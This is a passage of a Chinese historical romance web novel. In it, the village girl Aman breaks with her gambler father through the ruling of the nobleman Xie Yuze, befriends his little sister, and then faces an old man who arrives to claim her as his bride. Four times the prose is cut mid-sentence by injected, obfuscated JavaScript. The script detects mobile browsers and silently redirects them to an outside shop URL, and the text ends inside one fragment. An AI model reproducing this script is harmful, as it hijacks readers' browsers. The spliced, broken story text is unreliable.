阿蛮早跑远了。 她的目的地是谢家的猎场,那是在山的那头,一直有人在打理,她得找人求助。 她跑得飞快,中途有两次被树根绊倒,也立刻爬起来,就怕耽误一下,自己就要落到崔裕凭的魔爪中。 只是很不幸,今日谢家贵主出游,猎场早被部曲看护了起来,阿蛮才露了身影,就有部曲执剑驱赶,阿蛮已经跑得力竭,后面索命的声音越来越近,阿蛮实在没办法,直接给这部曲跪了下来。 “求诸位好汉行行好,给我条生路,我阿父滥赌成性,将我阿娘,姑姑卖了后,现在又要卖我好让他去赌。” 那部曲听说倒是露出了同情的神色,这时崔裕凭已经赶到,扬起不知何时捡到的树枝就要抽打阿蛮:“死丫头,你给我跑啊,怎么不跑了?” 那部曲抬手擒住他的手,略一用力,就让崔裕凭发出惨叫,阿蛮立刻爬起来,躲到那部曲身后,掩面哭道:“他在家中对我动辄打骂,我三岁起就要给他端洗脚水,五岁就要踩着板凳给他做饭,他从不往家里拿钱,也不过问我的生死,我全靠吃百家饭长大,就算如此,他回了家若是见灶上没吃的,还要打我。” 她在山里住了一夜,又跑了这般久,身上早不能看,所喜肌肤天生欺霜傲雪,一双眼儿水润乌亮,我见犹怜,又哭得这般柔弱无助,早叫部曲心软了,再细听她竟然过得这般惨,于是顿生英雄救美之心,一下子擒住崔裕凭,先给了他两巴掌。 村人不期能遇见贵主出行,已是怯了一半,又想起村长的告诫,此刻自己正与崔裕凭待在一处,早吓得没魂了,见崔裕凭被打,当然是袖手旁观。 可笑崔裕凭打起阿蛮时手上不留情,自己一挨打就叫得跟杀猪一样,终于引来贵主的注意,阿蛮与崔裕凭等人很快被带过去问话。 羽箭咻声破空,只是一根三尺长的木头,却不知射箭之人蓄了多少的力气,竟然将一头六十多公斤的狼射翻在地,在草地上骨碌碌地翻滚到阿蛮面前,一双绿莹莹的眼已经黯淡,油然有几分死不瞑目。 阿蛮吓了一跳,不敢看,却又忍不住去看,实在不敢相信让她提心吊胆大半夜,在她看来遇上后只能坐以待毙的山林之王竟然就这么轻易地死在了自己的面前。 而林间还有部曲在咄咄地驱赶更多的山兽。 “怎么回事?”声音是从高处传来,略有些漫不经心,但声音质地如金玉般,清冷却雍容,隐含威严,有种掌控全局的从容不迫。 阿蛮被这声音慑住,心里生了股很怅惘的叹息,原来这便是谢家的郎君,原来这就是世家的公子。只是开口说话而已,就让她清晰地感受到什么是云泥之别。 那部曲单膝跪地,已将话回明白:“这老汉意欲将这小女娘卖了换赌资,小女娘不从,从家中跑了出来,这老汉便伙同村人来逮他。” “是这样吗?”仍旧是随意的语调,却让人有不敢撒谎的万钧气势。 那几个村人立刻痛哭流涕地承认了,拼命跪在地上磕头请贵主恕罪。 反而是崔裕凭那泼皮无赖劲上来,竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那时候阿蛮仍就懵懵懂懂,她听懂了这话的意思是她就算投生给崔裕凭这种畜生做女儿,她的命也是天然归崔裕凭的,反抗不得。如此,她的人生是那般的黑暗无望,时时刻刻都在走下坡路,直到把她彻底送进深渊为止。 阿蛮不能接受村长媳妇的说法,她问了许多人,许多人给了她一样的答案,从那个时候开始阿蛮知道了,如果她胆敢反抗既定的命运,她会被押入大牢,甚至因此失去性命。 为什么?命运真是不公。 阿蛮不肯认命,她甚至做好了宁为玉碎,不为瓦全的准备——死就死,宁可曝尸荒野,也不愿成为肥料,去肥崔裕凭这个赌鬼的墓。 她在人群鸦雀无声中给贵主磕头:“民女知晓民女的请求有违伦理律法,贵主就算要将民女投入大牢或者要杀了民女,民女也认了,只要不让民女做回崔裕凭的女儿,民女就算付出性命也在所不惜。” 她是真的认命了。 半晌,贵主开口,只一字,却落地千金:“允。” 恍若云端飘下的渺渺仙乐,阿蛮愣了一下,不敢置信贵主竟然宽恕了她的罪过,给她这胆敢不孝的恶人一条生路。 她激动地抬起头,这一眼,正好叫她看清了贵主的模样。 世界忽然静了,云也不飘了,风也不拂了,就连呼吸都忘了,阿蛮屏息凝神,愣愣地傻傻地看着,眼睛连眨一下都不舍得,就怕眼前的仙人只是她的幻觉,眨一下眼就没了。 然,谢玉则不曾将她的失态放在心上,已从容地拨转马头。 光影如蝶翼自他艳若桃李的眉间振翅而起,掠过高挺的鼻梁,拂过风流的薄唇,最后被那冷若冰霜的气质融化,成了萦绕周身的积雪清辉。 世上怎么有人,宛若谪仙人下凡? 真要感谢他及时离开,阿蛮才得以呼吸,不至于活生生地将自己憋死。 5. 05 崔裕凭欺软怕硬,被谢玉则一箭射得连个屁都不敢放,可离开了猎场,他立刻猖狂起来,扬起巴掌要打死阿蛮这个不孝女。 谁知方才还随他上山寻阿蛮的四个村人此刻却齐齐站在阿蛮那头,不仅制止了他打阿蛮,还告诉他,阿蛮已与他断绝父女关系,他们这些人都是见证者。 崔裕凭接连被‘两’个小辈顶撞,脸都气成猪肝色,他和村人吵了起来,骂他们是权贵的走狗,几个人吵成一团,甚至开始动手。 阿蛮没理会他们,心情从未这般愉快地走下了山。 崔裕凭又追了上来,他走得飞快,经过阿蛮时还故意地在她肩头撞了下来,那力道显然是有意把她撞到田垄里去,还好阿蛮伸手扶了把行道树,才没叫他如意。 这般幼稚,阿蛮都快气笑了。 她还着急准备晚上的住所,不欲跟崔裕凭争执浪费时间,便蒙头往村长家里赶,结果刚走到门口,就听见先一步到的崔裕凭已经跟村长吵起来了。 “那是我的田!凭什么不把田契给我?” “阿蛮娘临走前用卖身银子……” “连那死婆娘都是我花了整整十两银子买回来给我暖床生孩子做饭的奴婢,她都是我的东西,她的卖身银子当然也是我的。” 阿蛮闻言三两步上前闯了进去,进门先找扫帚,提在手里就向崔裕凭打去:“崔裕凭,你还是不是人?我娘是良家女不是卖身的奴仆!她是你爹娘三媒六聘用红轿抬进的崔家大门,你竟然敢把我娘贬低得如此不堪,你有点良心没有?” 村长看到阿蛮动手,赶紧伸手拦:“好好说话,动什么手。” 崔裕凭气炸了:“她要打我,你拦我干什么?我躲都没法躲,你就是存心帮她让她揍我是不是?你们分明一伙的!” 村长媳妇见崔裕凭腿上,肚子上都结结实实地挨了好几下,方才假模假式地夺过阿蛮手里的扫帚:“好了,进屋去吧。” 她把阿蛮推进花妮儿屋子里,转过去对崔裕凭正色道:“田契上落的是阿蛮的名字,那两亩田和你没关系,而且我跟老头子都答应了阿蛮娘,在阿蛮嫁人前得替她好好保管田契,谁来了都不能给。” 崔裕凭在村长这儿碰了一鼻子灰,只能在临走前放狠话恐吓阿蛮以图寻回些丢掉的面子:“行,你有本事,连老子都敢不要,我看十里八乡谁给娶你这种刻薄无情的东西做媳妇,你就等着活活被饿死。” 他灰溜溜地走了,阿蛮才从屋里出来,村长媳妇和村长儿媳妇赶紧围过来问她发生了什么,阿蛮简单地把事情说了下。 听到她和崔裕凭断绝了父女关系,村长媳妇还有点愣愣的,等听到她说想买下村里的空屋子时,村长媳妇便道:“你手里有银子?那屋子空了很多年了,连窗户都没有,晚上不怕有人来闯你屋子?” 她提的正是阿蛮的困境,阿蛮可以说分几个月还清买房的银钱,但修缮房屋的银钱却是急需的,而她也是真的拿不出来。 村长媳妇一看她犯难的神色还有什么不明白的,便一锤定音:“你先在我家住着,等攒够一两银子再说。” 很快,阿蛮与崔裕凭断绝父女关系的消息就在村子里爆炸性地传开了,果然许多人无法接受阿蛮的大逆不道行为,甚至还有不少人跳出来嚷嚷着要把阿蛮扭送到官府去。 更有不良于行的老人气喘吁吁地赶到村长家,要求村长交出阿蛮,否则就是带坏全村的风气,传出去了,让其余村子怎么看待他们?如此祸害村子的东西,若是村长还要包庇她,他就要去官府连村长都一起告了。 村长对此只用一句话就挡了回去:“阿蛮与崔裕凭断绝父女关系是经过玉郎的准予。” 陈郡谢家是云州的守护神,玉郎更是云州的庇护者,他在百姓心中意义非凡,百姓对他的敬仰程度甚至超过了远在天边的皇帝,连他都准允了的事,百姓怎敢辩驳? “玉郎这般做,必然有他的道理,只是他们这等庶民无法参透罢了。”抱着这样的想法,对阿蛮的攻讦很快消失,快地好似这些攻讦根本不曾存在过。 阿蛮听到外头的吵闹声一下子没了后,松了口气,花妮儿还安慰她呢:“阿蛮姐姐不必担心,我爹娘能留下你,他们肯定有应对的方法。” 阿蛮颇为感激道:“是啊,这回都亏了你爹娘,等我攒上银子了,就给他们裁布做衣裳,好好报答他们。” 花妮儿抿嘴笑,她又偷偷问阿蛮:“阿蛮姐姐,你见到了贵主,他长什么样?好看吗?” 阿蛮怔了怔,花妮儿眼神中忽闪着好奇,天真地看着她,阿蛮不由自主地回想起那惊鸿一瞥,仿佛夜昙刹那绽放,勾魂摄魄。 她真心实意地道:“很好看,我从未见过那般好看的人。”顿了顿又道,“他应当是个很好的人,就算我有这般大逆不道的想法,他也不曾训斥我,而是理解我,成全我,我很想亲口向他道谢,可是他那样的身份,我这辈子大约不可能再见到他了。” 她脸上露出了点失落,但也只是一闪而过,很快阿蛮又笑起来:“等日后我有了家,一定要给他供个牌位,日夜为他祈福。” 月落日升,又是一日,于阿蛮而言,如新生无异。她心情好,起得也早,赶在村长儿媳妇起床前,给村长一家做了朝食,然后斗志昂扬地跑去田里伺候她的庄稼。 经过一夜,村人不再议论阿蛮的事,他们仍然没有想明白谢玉则的做法,但出于对他的信任,他们谨慎地不再谈论。 一整个上午,阿蛮的耳根子都很清净,就连王大婶都没出现找她的晦气,阿蛮因此对谢玉则更为感激涕零,这个结果或许不是谢玉则主动为之,但无意间他确实用他的威望庇佑了她。 晌午后,整个村子又进入了午歇,就连猫儿都蔫耷耷地盘在阴凉处打瞌睡,阿蛮却戴着斗笠,拎着竹篓去河里摸鱼。 她将鞋子拖在岸边,挽起裤腿,露着细白的小腿,涉过浅凉的河水,踩着卵石往河中间走去。竹编的篓子系在腰间,上面有盖子,当她在沁凉的河水间摸出一条银闪闪的小鱼便迅速打开盖子,将小鱼放进去再合上,就不怕小鱼会跑了。 阿蛮很喜欢这种又能纳凉又能改善伙食的活动。 她一连逮了四条,便听到石桥上传来细细的夸赞声:“哇,姐姐,你好棒啊,我能跟你下水摸鱼吗?” 阿蛮抬头,便见那辆装饰着金玉、象牙、珠贝,漆着陈郡谢氏的徽印的华盖车停在拱桥上,穿金戴银的侍女将帘子卷起,宽敞的车窗上,一双胖手正托着雪团般的小脸,饶有兴致地看着她,说话间,挂在双髻上的发带晃了起来,栩栩如生的绒花随之荡漾,桃花,梨花,海棠花,扑簌簌地在白嫩的脸颊边打着转,似有花香浮溢。 但阿蛮抬眸时,小娘子的神色也怔住了,细细地打量了阿蛮良久,喃喃道:“你生得怎么这般像我阿娘? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058072|194917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 还没等阿蛮反应过来,小娘子便踩着踏几哒哒哒地跑了下来,日头毒辣,她的侍女在身后急追,赶紧撑起竹骨伞遮到小娘子的头上,她们似乎还想将小娘子拦下,但小娘子活泼,抱着锦绣裙子,三两下就从堤岸上跑了下来,侍女们反而被吓得花容失色:“小娘子!” 小娘子才不理会她们,学着阿蛮的样子,踢掉绣鞋,提着裙边,啪啪地就踩着水下河了。 阿蛮怕她一时不慎滑入水中,遇到危险,赶紧向她走去:“小娘子若想下河摸鱼,在岸边便是,河中水深,对小娘子而言,还是有几分危险的。” 谢玉桃默默对比了两人的高度,也没有硬着头皮非要往河中去,阿蛮见她并非那等不听人言的人,微松了口气,她打了个手势给岸上的侍女,侍女们互相对了个眼色,有人悄悄离去,往庄子里去报信了。 谢玉桃仰着小脸看阿蛮。 阿蛮从山里逃回来后好生沐浴了一番,乌发浓亮,未施粉黛,然肤玉肌雪,色若春桃,艳似舜华,秾纤合意,仿佛月婵下凡,又好像湘妃贪恋人间。 她真的好像好像阿娘。 谢玉桃不由泪眼蒙眬,轻轻牵住阿蛮的手,软乎乎的身子倚靠过去,想在这位素不相识的姐姐身上再闻一次阿娘身上的味道。 阿蛮已经知晓小娘子的身份,当然明白为何会有这般的误会,她不愿利用小娘子这份纯粹的孺慕之情,道:“小娘子,我是崔裕凭的女儿。” 她理所当然地提到崔裕凭,是觉得谢家的贵主必然厌恶崔裕凭,听到这名字就会立刻退避三舍。 谁知,谢玉桃却微微睁大眼,很好奇地问她:“崔裕凭是谁?” 阿蛮一顿,忽然想起这小娘子看起来也不过八/九岁,家中大约也不会叫她知晓上一代的恩怨。 谢玉桃又问道:“阿兄与我说,阿娘生于斯,长于斯,想来她的亲眷也在斯,我总想见一见他们,可阿兄不许,姐姐,你是阿娘的亲眷吗?” 阿蛮想了想,还是点了头。 谢玉桃面露欢喜,岸上的侍女们的心脏却早已受不住,纷纷在岸边恳求小娘子上岸,领头的还诱惑道:“小娘子既然交到了新朋友,不如请新朋友去庄子上作客,拿好茶点招待客人如何?” 这个提议对于还年幼的谢玉桃无疑是非常有诱惑力的,她立刻期盼地看向阿蛮。 阿蛮却不愿接受这个邀约。 在王家村生活了十五年,阿蛮从未踏足过陈郡谢家的领地,只能隔着河,远远眺望那座高墙林立的院子,白墙森严,与这岸的茅屋土墙泾渭分明,是阿蛮不配涉足之地。 何况,现在她知道那若谪仙人般的玉郎此刻也在那白墙之后,阿蛮便不由得心如擂鼓,只怕进退失度,被人嗤笑,也叫恩人失望,竟然帮衬了这样不上台面的人。 她紧张地想拒绝这个提议:“我便不去了。” “去嘛。”谢玉桃一听她要拒绝,忙更用力地拉着她的手,好像怕她跑了似的,“你一定要去,阿娘若是在天有灵,知道我遇上了姐姐,一定会高兴的。” 阿蛮闻言怔住了。 崔玉骊死了?怎么会?她还这般年轻,崔裕凭那混账都还活着,她锦衣玉食的怎会早逝? 阿蛮这时再想起小娘子看清她的容颜时那几乎立刻落泪的神色,还有什么不明白的,她几乎立刻动起了恻隐之心,再说不出拒绝的话了。 6. 06 阿蛮跽坐在柔软的坐榻上,乘着华盖车进入了谢家的宅子。 侍女卷着车窗帘子,由谢玉桃咬着脆甜软乎的嗓音给阿蛮介绍庄子,阿蛮谨慎地看着,面对从未见过的亭台楼榭,曲桥流水,不敢露出被惊艳到了的目光,怕别人觉得她没见过世面,因此看轻了她。 虽则她确实不曾见过这般精致的庭院,在进入这庄子前,她甚至想不出世上竟然还会有人这般装点庭院,再想到如此诗情画意的庄子,贵主竟然也不屑于住,任性奢侈地由它空置了许多年,她便不住地在心里对世家的底蕴咋舌。 车行到一处花木葳蕤的小院前,谢玉桃牵着阿蛮的手,领她入内,直至檐廊前,脱去鞋履,只着足袜踩上冰凉如水的木板,观堂两侧的竹帘高卷起,清风畅通而过,果然十分清凉。 谢玉桃请阿蛮入席,便立刻有裙裾曳地的侍女次第端来茶果,荷花酥、糖蒸酥酪、酪樱桃、透花糍、沙糖冰雪冷元子……太多阿蛮闻所未闻,见所未见的精致茶果琳琅满目地摆了一桌,谢玉桃十分热情地请她逐一品尝。 阿蛮更不敢辜负她的心意,犹豫了一下,还是决定开口说出实情:“小娘子,我阿父虽是玉骊夫人的亲兄长,但他对夫人并不好,因此玉骊夫人出阁后便与他断绝了关系,准确来说,小娘子也不该与我有来往。” 谢玉桃眨了眨眼,道:“我知道啊。” 阿蛮愣了一下,很是意外:“小娘子知道?” 谢玉桃颔首,发绳上的绒花快活地蹦跳着:“否则为何这么多年,逢年过节,我都不曾见到阿娘的母族人呢?” 阿蛮会意过来,是她见谢玉桃年岁小,便先入为主地认为小娘子一团稚气,什么都不知。 阿蛮不由问:“小娘子既知内情,为何还要邀我入府?” “首先,”谢玉桃伸出胖乎乎的手指,“我与你不过交谈两句话,姐姐便点出了自己的身份,而不是借机哄骗我,可见姐姐心思坦荡。其次,我真的很想念阿娘。” 她的神色黯淡了下去。 她道:“其实阿娘在世时,我也不是能经常见到她,她总是那么忧郁,好像这个世界上没有什么可以让她高兴起来的东西,就算阿父为她收集来天下的宝物,请了最有名的优伶逗她开心,她仍旧是愁眉不展,只有见到我的时候,才会露出点笑容。阿父告诉我,阿娘喜欢我,我要常常陪着她,哄她开心。” “可是阿娘不愿经常见我,就算见了我,我也总是不会说好听的话,不能叫她开心。后来她去世了,医工说她是抑郁而终,我觉得是我没有照顾好阿娘,没办法令她真正地展颜欢笑。” 说到此处,谢玉桃的眼泪已经在啪嗒啪嗒地往下掉,她年岁还小,即使受过世家苛刻的礼仪教育,可到伤心处,孩童的本能还是占据了上风,她哇地大哭了起来。 “都怪我没哄好阿娘,阿娘才会去世。” 阿蛮赶紧起身,意欲绕过案几哄谢玉桃,但服侍在侧的侍女反应更快,纷纷簇拥上来,熟稔地哄着谢玉桃。阿蛮见自己也插不进去,缓缓地坐了下去。 她很不是滋味。 她大约能猜出崔玉骊去世的原因,可这种事,能怪崔玉凭,怪对她强取豪夺的谢玉桃的阿父,反正无论如何,都是怪不得谢玉桃身上的。 谢玉桃不该背上这么重的心理包袱。 这时候在侍女熟练的哄逗下,谢玉桃终于渐渐平静了下来,侍女捧来热水,跪下为她净脸,谢玉桃方能继续道:“方才见姐姐在河里捉鱼,我不禁看呆了,想着若是阿娘有个开朗的性子,大约也是姐姐这个模样吧。” 她露出了点怅惘的神色。 原来小娘子亲近她是出于这个原因,阿蛮恍然大悟,她心里顿时踏实下来,道:“夫人郁结在心,面对小娘子时却能展颜一笑,可见内心是很爱小娘子的。小娘子更当快乐,才能叫夫人在天之灵,看了放心。” 谢玉桃便期盼地看向阿蛮:“那姐姐能经常来陪我玩吗?” 她神色有些落寞,“阿娘去世后,我心情不好,晚上睡不安稳,饭也少吃了许多,两位阿兄看在眼里,便陪我来庄子小住,可是十一兄素来没有定性,成天见不到人,三兄又总是那么忙,官署离不开他,族中也常有庶务烦他,我每日也只能见他一面。” 莫说小娘子待阿蛮赤诚,阿蛮本就愿意回馈她的善意,便非如此,凭着她欠谢玉则的大恩情,阿蛮也愿意常来陪谢玉桃。 她一口答应了下来。 谢玉桃果然欢喜起来,阿蛮为了哄她,便与她说了许多乡野趣事,谢玉桃一会儿发出惊叹,一会儿露出疑惑的神色,一会儿又凝神深思:“阿娘未出阁前也是如此吗?” 她实在无法想象弱柳扶风的阿娘过去也有上树捉鸟,下河摸鱼的日子。 阿蛮想了想道:“夫人幼时,尚未家道中落,想来是不必的,后来,”她亦叹了口气,“为生计所迫,也不得不如此。” 谢玉桃一下子瞪大了眼。 她从未见过这般的玉骊夫人,于是津津有味地一直听阿蛮说到日头西斜,还不曾想起要放阿蛮走。 最后还是阿蛮主动提出她必须离去了,谢玉桃非常不舍,她解释道:“我如今借宿在村长家中,见我许久不回去,他们一定会担心我出了事的。” 毕竟她身上还有一堆麻烦事,她不想让好心的村长夫妇为她担心。 谢玉桃更诧异了,问她为何,阿蛮未想诉苦,便只含糊地道:“我与我的亲生父亲断绝父女关系了。” 话毕就急于告辞离去,谢玉桃也知不好再留她,便令侍女将她送出,阿蛮照旧坐上那辆华盖车,只是车行半道忽然停住,一位着锦穿罗的侍女登上车,自然地在阿蛮对案坐下。 华盖车重新上路,借着摇曳的烛火,阿蛮打量着这位眉清目秀的侍女。 她没有在谢玉桃身边的诸多侍女中见过这位。 那侍女缓缓开口:“奴是阿郎身边的侍女,名唤疏月。” 一听是谢玉则身边的侍女,阿蛮不自觉对她敬重了些,疏月道:“小娘子顽皮,纠缠女娘许久,这是一点歉礼。” 她取出荷包,打开,露出里面一张银票。 阿蛮自然不肯收,忙拒了:“玉郎于我有大恩情,我陪小娘子说几句话,不过举手之劳,哪还有脸叫玉郎酬谢我。” 疏月仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058073|194917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧维持着递荷包的举动,微微一笑:“奴认为能用银钱算清楚的关系,乃是世上最干净的关系,女娘觉得呢?” 阿蛮怔了一下。 疏月这话的意思便是要与阿蛮算明账,叫她清楚自己只是谢玉则花了银钱请来陪小娘子说话解闷的人,与优伶一样的用处,绝不可能变成谢玉桃的友人。 阿蛮沉默了一下,问道:“这是玉郎的意思?” 疏月将荷包放在案几上,意有所指道:“女娘生在乡野,自然见过白云倒映着河湖的景色,便该知晓就算白云的影子与河湖融为一体,但白云依然是白云,河湖依然是河湖,对吗?” 华盖车停下了,疏月起身,向阿蛮微微屈膝道:“女娘不必担心,这辆车会将你平安送回村中。” 她下车去了。 阿蛮怔怔地看了回不曾动过的荷包,忽然欠身掀开车窗帘子,向外看去,见到即使身为侍女,但一举一动间丝毫不坠谢家风骨的疏月,阿蛮的神色逐渐黯然。 她沉默地拿起荷包,仔细收好。 阿蛮被华盖车送回王家村的消息如龙卷风般迅速在全村传开,向来惜烛的村人都预备睡下了,现在又纷纷跑出来询问阿蛮究竟发生了什么。 他们或是好奇,或是羡慕,或是嫉妒地将阿蛮里三层外三层地包围起来,七嘴八舌地问她,谢家的地是不是由金砖铺的,他们吃饭的碗是不是用金子打的,他们睡觉的床是不是用金子铸的? 总而言之,每句话都离不开金银二字,大约在他们心目里,谢家的宅子就该金碧辉煌。 但阿蛮告诉他们谢家庄子里非但见不到金银,还到处都是花草树木,甚至还有溪流,他们纷纷不信,觉得花儿草儿有什么好看的。 花草没什么好看的吗?不,依阿蛮看来,花草很漂亮,不见金银的谢家也很漂亮。可惜阿蛮说服不了村人相信这个,村人也觉得阿蛮是故意说谎哄他们开心,于是双方不欢而散。 等人都散了,村长媳妇要给阿蛮端来给她留在灶上的饭,阿蛮摇了摇头,她反而拿出谢玉桃送给她的点心,让村长一家分了。 村长当然也没见过这般好看,味道又这般细腻美味的点心,一家人都很珍惜地吃完了。 村长媳妇看阿蛮在谢家待了这么久,又带回来一大食盒的点心,满怀希望地问:“是不是你姑姑想把你接到身边去?” 她总认为依着阿蛮的美貌,应当寻个能保护她的靠山,否则迟早被人吃得连骨头渣子都不剩。 崔玉骊就是很好的选择,她是阿蛮的亲姑姑,又是谢家的女眷,她完全能护住阿蛮。 面对村长媳妇的期待的目光,阿蛮才想起她还不知道崔玉骊已经不在人世的消息。 她忙道:“玉骊夫人已不在人世。”她顿了顿,方才后知后觉地想起刚才将她层层围起的村人,此刻回去了,还不一定在怎么猜想她与谢家的关系,她既然收下了谢玉则的银子,自然不能给他造成任何的困扰。 阿蛮赶紧解释道:“谢家也不会将我接走,还请叔叔婶婶遇到那等乱说话的村人,替我解释一番。” “崔家阿蛮永远都不会与陈郡谢氏扯上关系。” 7. 07 麻雀啄下林间的红果,拍翅飞向碧湛的天空。 冷清的乡道泥路上忽然出现一辆被数十豪奴簇拥的马车,声势浩荡地朝王家村扑去。 自那日从谢家庄子回来后,谢玉桃果然不再来寻她,就好像从未认识过阿蛮似的。 村人不解,向阿蛮旁敲侧击询问情况,阿蛮却不动如山,一一否认了村人猜测的她与谢家的关系,然后气定神闲地在伺候庄稼之余,用新扯的布做衣裳。 若没有记错,这该是阿蛮第一件簇新的衣裳。 村长儿媳妇忽然冲回院子:“快!阿蛮,藏起来!” 她本是带了全家人换下来的衣裳去河边清洗,可这才多久,她就着急忙慌地两手空空地回来,也不知究竟发生了什么才让她如此惊恐。 阿蛮变了神色,不敢抱有侥幸,放下针线活立刻起身欲走,却听背后穿来一声暴喝:“就是她!给我抓住她!” 随着这声命令,本就不大的院子立刻涌进了数也数不清的豪奴,他们肆意妄为,踹开晒着笋干的畚箕,推开晾晒的衣杆,扯开挡路的人。 好好的一个院子,立刻变得乌烟瘴气。 阿蛮早无处可逃,索性看向来人。那是个鸡皮鹤颜,老态龙钟之人,满身富贵,金扳指金链子一堆,就连说话时露出的假牙也是金光烁烁。 这张脸,阿蛮是熟悉的,她起码有两次因被这脸恶心到而从梦中惊醒,可是原来梦中人就是现实中人吗? 再看这老翁若无其事地跨过因他而狼藉,充满恐慌的院子,他从容且毫无内疚之心,可见平时欺弱凌小已是习惯。 这不是个善茬,而更叫阿蛮心骇的是,在他身后,两个豪奴拖着被揍得面目全非的崔裕凭进来。 阿蛮想到那个梦里自己的处境,她的脸色变得极为难堪。 那老翁已站至阿蛮面前,也在打量她,正直豆蔻年华的女娘朱颜绿发,雪肤玉貌,纵着荆钗布裙也难掩她饱满婀娜的身段,美,实在是美,哪怕是府中豢养的从各地搜寻来的美人也不及她十分之一。 老翁面露满意,他展开一纸婚书给阿蛮瞧,他是故意的,故意不将婚书递给阿蛮而是拿在手上,这样阿蛮为了看清上面的字,就不得不主动向他靠近。 好让他闻到年轻女娘身上特有的馨香。 阿蛮却一步不动,微微皱起眉:“我不识字,看不懂这个,这是什么?” 末半句,她看向了崔裕凭。 崔裕凭被打得奄奄一息,当然不能回答她的问题,老翁却很愿意代劳:“日前,你阿父已将你许给我,我如约准备好五千两聘礼等他送你上门,却见他过了约定日子后仍迟迟不曾出现,我只好亲自来催夫人上花轿。” 他这样半只脚迈进棺材的老翁唤正值妙龄的少女夫人,闻者都要恶心欲呕,偏他眼神露骨,唤得自然。 阿蛮反胃,道:“我不识字,不能确定你说的是真是假,若真是婚嫁,怎不见你请冰人来过礼?再次无论怎么看,从你指使豪仆打伤崔裕凭的举动看,你们也绝无可能是翁婿关系。何况我与崔裕凭已断绝父女关系,他要将他的女儿许人无与我无关。” 想来崔裕凭在被打得半死前也与老翁交代过此事,因而他丝毫不诧异,反而从容道:“据我所知,他与我签下婚书时,你们的父女关系还未结束。” 他语气逐渐强硬:“我不愿伤到夫人,还请夫人自觉上轿,以免错过今日洞房花烛夜,否则,我就要叫下人来请夫人了。” 他话音落地,豪仆应声而动,挽起袖子露出精壮的肌肉向阿蛮走来,他们不怀好意,甚至取出了绳索。 * 夏风撞响下檐铁马,谢玉照抱着手臂,百无聊赖地倚靠在柱前,打着瞌睡,一双小胖手毫不客气地拍在他的脸颊上。 少年郎懒懒抬眼:“桃娘,你究竟何时肯放过我?” 语气中竟然有几分哀怨。 前两日,他正惬意地出入山野,练习刚学到的测绘舆图的本事,疏月却忽然带着谢玉则的命令出现,叫他乖乖在家带孩子。 谁要带孩子! 谢玉照能无视所有人的要求,任性的在任何他想脚底抹油的场合溜之大吉,可他却不敢拒绝谢玉则。 谢玉则,他的亲兄长,身为长房嫡长孙,乃谢家现任郎主。无论从哪个角度看,对他都有来自血脉上的彻底压制。何况谢玉则平日里就积威甚重,族中最不着调的纨绔子弟看见谢玉则,都得老老实实,规行矩步。 何况他? 谢玉照的膝盖直到现在都还残留着罚跪祠堂后的酸痛。 所以疏月叫他看孩子,他也只能灰溜溜地来了,一边盘算着这次表现得好点,总能叫谢玉则高抬贵手,放他入军营了。一边却如丧考妣,连连哀求谢玉桃小娘子放过他。 他看小女娘每日就是念书,弹琴,吃茶果,与侍女闲聊,连院子都是很少出的,看来看去都没有危险的样子,实在不明白为何还特意要他来陪着。 他能陪什么?他又不会绣花,他真的快要发霉了! 谢玉桃的眼珠子滴溜转:“十一兄想出去玩?” 谢玉照理所当然:“不会有人愿意待在家里发霉。” “那就出去。”谢玉桃脆脆地道,“但要带我出去,去哪儿由我说了算。” 谢玉照立刻有精神了:“这可是你主动说要出去的,到时候三兄责我们去问话时,你可不能不承认。” 谢玉桃伸出手与他击掌:“当然,小娘子一言,驷马难追。” 谢玉照并未多想,他在家中待不住,别理所当然地以己度人,以为谢玉桃不过是想去哪片山野吹吹风,散散心所以当他坐在车辕上,看马车缓缓驶向王家村的时候,他愣住了。 继而谢玉照浑身的气息变了,阴沉冷凝了下来,像块冷铁。 他掀开帘子进去问谢玉桃:“你究竟想去哪?” “王家村。”实则谢玉桃也没想瞒谢玉照,谁叫他忘记问了,“我前儿认识了个姐姐,她很好,我很喜欢与她玩。” 谢玉照才后知后觉为何兄长会突然叫他来带孩子,他缓缓深呼吸,方问谢玉桃:“她叫什么名字?” 谢玉桃道:“我不知晓她的全名,却知道她要唤阿娘一声姑姑。” “咔嚓”,是谢玉照捏碎案角的声音,那是张黄花梨木打的案几,厚实笨重,谢玉照却轻易就将它捏下一角,谢玉桃愣愣地看着。 谢玉照抛掉那角梨花木案几构 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 